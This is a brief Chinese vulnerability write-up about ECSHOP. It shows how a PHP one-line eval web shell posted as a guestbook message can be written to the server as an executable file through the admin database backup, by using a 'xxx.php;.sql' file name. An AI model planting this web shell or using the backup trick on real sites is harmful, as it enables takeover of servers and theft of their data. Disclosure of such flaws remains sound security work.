ECSHOP网站程序可以绕过权限上传一句话木马
简要描述:
可以绕过权限上传一句话木马
详细说明:
![](http://www.myhack58.com/Article/UploadPic/2013-5/201351314172138249.jpg)
前台留个言,内容是我们的一句话木马:<?php eval($_POST[cmd]);?>
![](http://www.myhack58.com/Article/UploadPic/2013-5/201351314175552813.jpg)
接着在后台系统==>数据库管理==>数据备份==>选择自定义备份,选择ecs_feedback这张表(存放留言的表)
![](http://www.myhack58.com/Article/UploadPic/2013-5/201351314205764552.jpg)
![](http://www.myhack58.com/Article/UploadPic/2013-5/201351314213032647.jpg)
备份文件名:xxx.php;.sql 这种格式来备份
![](http://www.myhack58.com/Article/UploadPic/2013-5/20135131422958307.jpg)
提示成功了。
![](http://www.myhack58.com/Article/UploadPic/2013-5/201351314224196941.jpg)
![](http://www.myhack58.com/Article/UploadPic/2013-5/20135131423993068.jpg)
简要描述: